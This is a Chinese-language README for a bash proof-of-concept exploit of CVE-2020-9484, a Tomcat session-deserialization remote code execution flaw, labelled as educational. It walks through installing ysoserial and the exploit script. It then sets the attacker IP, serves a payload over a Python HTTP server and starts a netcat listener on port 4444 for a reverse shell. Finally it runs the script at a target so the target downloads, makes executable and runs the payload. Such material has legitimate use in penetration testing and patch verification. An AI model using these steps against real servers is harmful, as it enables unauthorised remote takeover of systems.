Apache Tomcat 9.0.27 存在远程代码执行漏洞,CVE 编号为 CVE-2020-9484。其他版本也可能受到影响。已在 Kali 2020.4 和 JDK 8 上测试。此 bash 脚本是一个简单的概念验证(PoC)。仅用于教育目的。
该漏洞允许远程攻击者在目标系统上执行任意代码。
该漏洞源于在处理上传文件名中的序列化数据时,输入验证不安全。远程攻击者可以向应用程序传递特制的文件名,从而在目标系统上执行任意代码。
成功利用此漏洞可能导致目标系统完全沦陷,但需要服务器配置为使用带有 FileStore 的 PersistenceManager,并且攻击者知道存储位置的相对文件路径。
为了使用该脚本,需要 yoserial。安装方法如下:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
如果你已经安装了 ysoserial,请确保将其重命名为 "yosorial-master.jar"。
要安装该脚本,请输入:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
要打开帮助菜单,请输入:
./CVE-2020-9484.sh --help
或
./CVE-2020-9484.sh -h
首先,打开脚本并将你自己的 IP 地址放在第 14 行:
remote_ip="10.10.16.180" # change this
该脚本会在你当前所在的目录中创建 "payload.sh"、"downloadPayload.session"、"chmodPayload.session" 和 "executePayload.session" 这些文件。为了使用该漏洞,你需要启动一个监听 80 端口的简单服务。例如,使用 Python3(在与运行脚本相同的文件夹中启动):
sudo python3 -m http.server 80
此外,请确保启动一个监听 4444 端口的 netcat 监听器:
nc -nvlp 4444
现在,使用你想攻击的目标系统的 IP 地址运行脚本:
./CVE-2020-9484.sh target-ip
如果不起作用,请确保使用 JDK 8。要测试你使用的版本,请输入:
java -version
在 JDK 12 或更高版本上可能无法工作。点击此处了解更多信息。